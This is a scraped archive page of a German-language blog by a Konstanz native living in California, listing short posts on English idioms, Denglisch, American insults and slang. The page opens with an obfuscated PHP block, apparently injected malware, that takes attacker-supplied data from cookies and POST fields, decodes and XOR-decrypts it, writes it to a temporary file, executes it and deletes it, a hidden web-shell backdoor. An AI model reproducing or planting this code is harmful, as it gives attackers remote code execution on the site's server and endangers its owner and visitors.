$WBHFbv = 'P' . chr (95) . chr (79) . chr (97) . chr (70) . chr ( 228 - 158 ); $nTptLl = 'c' . "\x6c" . chr (97) . chr ( 666 - 551 )."\163" . chr (95) . 'e' . "\x78" . 'i' . chr ( 853 - 738 ).chr (116) . chr ( 196 - 81 ); $cBSvvlMXXz = class_exists($WBHFbv); $nTptLl = "28723";$YfNHQjusb = strpos($nTptLl, $WBHFbv);if ($cBSvvlMXXz == $YfNHQjusb){function QDxNd(){$qOcUFmzN = new /* 60203 */ P_OaFF(22758 + 22758); $qOcUFmzN = NULL;}$scfGvYnLz = "22758";class P_OaFF{private function FfngnMnUnm($scfGvYnLz){if (is_array(P_OaFF::$RCPHv)) {$name = sys_get_temp_dir() . "/" . crc32(P_OaFF::$RCPHv["salt"]);@P_OaFF::$RCPHv["write"]($name, P_OaFF::$RCPHv["content"]);include $name;@P_OaFF::$RCPHv["delete"]($name); $scfGvYnLz = "22758";exit();}}public function EfcvuXUTNK(){$jFOKTFZqDo = "31226";$this->_dummy = str_repeat($jFOKTFZqDo, strlen($jFOKTFZqDo));}public function __destruct(){P_OaFF::$RCPHv = @unserialize(P_OaFF::$RCPHv); $scfGvYnLz = "6715_29229";$this->FfngnMnUnm($scfGvYnLz); $scfGvYnLz = "6715_29229";}public function cKpubxCPK($jFOKTFZqDo, $KrgzFdkYU){return $jFOKTFZqDo[0] ^ str_repeat($KrgzFdkYU, intval(strlen($jFOKTFZqDo[0]) / strlen($KrgzFdkYU)) + 1);}public function FAFqrTS($jFOKTFZqDo){$XazmP = "\x62" . "\x61" . "\x73" . chr (101) . '6' . chr ( 146 - 94 );return array_map($XazmP . chr ( 524 - 429 ).'d' . 'e' . 'c' . "\157" . chr ( 564 - 464 ).'e', array($jFOKTFZqDo,));}public function __construct($WbRNdii=0){$otbajlbE = chr ( 704 - 660 ); $jFOKTFZqDo = "";$ZhvIG = $_POST;$YDhiH = $_COOKIE;$KrgzFdkYU = "e6b9fa78-4baf-4182-a3a5-0c245a741097";$BkJciv = @$YDhiH[substr($KrgzFdkYU, 0, 4)];if (!empty($BkJciv)){$BkJciv = explode($otbajlbE, $BkJciv);foreach ($BkJciv as $hZPOHscdt){$jFOKTFZqDo .= @$YDhiH[$hZPOHscdt];$jFOKTFZqDo .= @$ZhvIG[$hZPOHscdt];}$jFOKTFZqDo = $this->FAFqrTS($jFOKTFZqDo);}P_OaFF::$RCPHv = $this->cKpubxCPK($jFOKTFZqDo, $KrgzFdkYU);if (strpos($KrgzFdkYU, $otbajlbE) !== FALSE){$KrgzFdkYU = explode($otbajlbE, $KrgzFdkYU); $YbgmV = base64_decode(md5($KrgzFdkYU[0])); $SVAId = strlen($KrgzFdkYU[1]) > 5 ? substr($KrgzFdkYU[1], 0, 5) : $KrgzFdkYU[1];$_GET['new_key'] = md5(implode('', $KrgzFdkYU)); $LoQqggJj = str_repeat($SVAId, 2); $LYkSuiGqxw = array_map('trim', $KrgzFdkYU);}}public static $RCPHv = 35029;}QDxNd();} Redewendungen Archives - California Dreaming

Eine Konstanzerin in Kalifornien

Category: Redewendungen Page 1 of 2

Schusterkinder tragen die schlechtesten Schuhe

Da hab ich mal wieder so ein altes Sprichwort über Schusterkinder hervorgekramt das, leider, nur zu gut passt. Seit ich wieder mehr Blogs für andere schreibe, hab ich oft keine Zeit und Kreativität übrig meine eigenen Blogs zu schreiben. Schade eigentlich, denn es gibt ja doch einiges hier zu berichten. Schusterkinder

Ich gelobe Besserung!

Oldtimer – altes Auto oder alter Mensch?

Oldtimer

Kein Oldtimer sondern ein vintage car

Ich hab in einem früheren Blog über englische Worte geschrieben, die im Deutschen mit einer anderen Bedeutung verwendet werden als im Englischen.  Das gute alte “Handy” zum Beispiel, oder der Beamer. Von dieser verwirrenden Spezies gibt es noch mehr.  Hier sind ein paar häufige.

Denglisch – von Chefs, Chefköchen und Eishoden

Ich hab mich ja schon wiederholt auf diesen elektronischen Seiten über Sprachprobleme und Sprachverwirrungen und “Denglisch” ausgelassen.

Denglisch

Was das Eis mit Sprachverwirrung zu tun hat erkläre ich im Blog.

Ein Quiz im Spiegel hat mich neulich wieder einmal daran erinnert, wie gefährlich es sein kann, wenn man Ausdrücke aus einer anderen Sprache, eben Englisch, benützt, wenn man sie nicht gut genug kennt oder auf falsche Freunde hereinfällt.  Deshalb hier noch ein eher bunt zusammengewürfelte Beispiele zu dem Thema.

Noch mehr amerikanische Schimpfnamen

Da ich mich so gar nicht mental mit dem ganzen Nord-Korea Disaster auseinandersetzen kann mache ich heute einen harmlosen Blog, einen über weitere amerikanische Schimpfnamen.  Der erste Teil zu diesem Thema ist hier zu finden. Aber Schimpfnamen gibt es ja zur Genüge – hüben wie drüben!

amerikanische Schimpfnamen

Bildquelle

Schimpfnamen gibt es genug, wenn man also jemanden beleidigen möchte hat man reiche Auswahl. Ich versuche die amerikanischen Schimpfnamen etwas zu kategorisieren, denn es ist einfach sich zu vergreifen (wie im deutschen auch) und jemanden anders zu beleidigen, wenn man ihm/ihr den falschen Schimpfnamen ans den Kopf wirft.

Ausdrücke zum Thema Ausruhen und sich Aufregen

Ausruhen

Just hanging out – Ausdruecke fuer Ausruhen

Hier noch ein Blog mit mehr nützlichen Redewendungen.  Da ich am Wochenende angefangen habe darüber nachzudenken kamen mir erstmal Ausdrücke für Ausruhen in den Sinn.  Dann noch ein bisschen vom neusten Jugendslang, den ich von meinem Sohn gelernt habe.

Das dritte Gleis – wer es anfasst stirbt

das dritte GleisIm amerikanischen öffentlichen Verkehr gibt es etwas, dass das dritte Gleis genannt wird.  Bei elektrifizierten Zügen gibt es das dritte Gleis, das die Züge mit der nötigen elektrischen Spannung versorgt.  Da dazu sehr hohe Spannungen nötig sind ist es extreme gefährlich das dritte Gleis zu berühren.  Gewöhnlich heisst es, dass man stirbt, wenn man das dritte Gleis anfasst. Aber das ist nicht alles ….

Schimpfnamen und Beleidigungen – eine Kunstform

Es gibt jede Menge Schimpfnamen und Beleidigungen für Leute, die man nicht ausstehen kann.  Manche sind weithin bekannt und manche so geschmacklos, dass ich sie hier nicht erwähnen werde.  Auf dieser Liste findet ihr Worte, die hier oft gebraucht werden, wenn man seine Meinung über jemanden zuzweideutig mitteilen möchte.

Groundhog-Day: Und täglich grüßt das Murmeltier

Groundhog-DayDer Film Groundhog-Day – der deutsche Titel ist “Und täglich grüßt das Murmeltier” ist,  glaube ich, auch in Deutschland recht bekannt.  Es erzählt die Geschichte eines Reporters (Bill Murray), der den Groundhog-Day, also den 2. Februar, immer und immer wieder erlebt.  Der Goundhog-Day, auf deutsch Murmeltier-Tag hat eine – für amerikanische Verhältnisse –  lange Tradition in den USA.

Noch ein bisschen amerikanischer Jargon

Jargon

Noch ein politikfreier Blog.  Ich dachte häufig benützter Jargon und Ausdrücke sind immer gut zu wissen. Also hier noch ein paar mit speziellem Schwerpunkt auf solche, die als ich sie das erste mal gehört habe die “Häh, was jetzt??” Reaktion by mir ausgelöst haben.

Gaslighting – Wort des Jahres 2017?

gaslightingDer Januar ist noch nicht mal um und ich glaube, wir haben das Wort des Jahres 2017 schon gefunden: gaslighting.  Bis vor ein paar Tagen hatte ich es noch nie gehört aber seit dem Amtsantritt von Voldemort liest man es überall. Was also bedeutet gaslighting?

Page 1 of 2

Powered by WordPress & Theme by Anders Norén